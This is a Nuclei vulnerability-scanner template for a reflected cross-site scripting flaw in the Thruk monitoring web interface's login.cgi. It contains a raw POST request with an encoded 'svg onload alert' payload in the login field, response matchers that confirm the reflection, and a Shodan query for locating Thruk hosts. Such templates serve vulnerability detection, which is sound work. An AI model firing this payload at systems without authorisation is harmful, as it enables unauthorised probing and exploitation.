nuclei-templates/vulnerabilities/other/thruk-xss.yaml

39 lines
957 B
YAML

id: thruk-xss
info:
name: Thruk Monitoring Webinterface - Cross Site Scripting
author: pikpikcu,ritikchaddha
severity: medium
description: |
Thruk login page is vulnerable to Reflected XSS via the login parameter at /thruk/cgi-bin/login.cgi.
reference:
- https://www.thruk.org/download.html
metadata:
verified: true
shodan-query: http.html:"Thruk"
tags: thruk,xss
requests:
- raw:
- |
POST /thruk/cgi-bin/login.cgi HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
referer=&login=%22%3Csvg%2Fonload%3Dalert%28document.domain%29%3E%22%40gmail.com&password=test&submit=Login
matchers-condition: and
matchers:
- type: word
words:
- "<svg/onload=alert(document.domain)>\"@gmail.com') called at"
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 500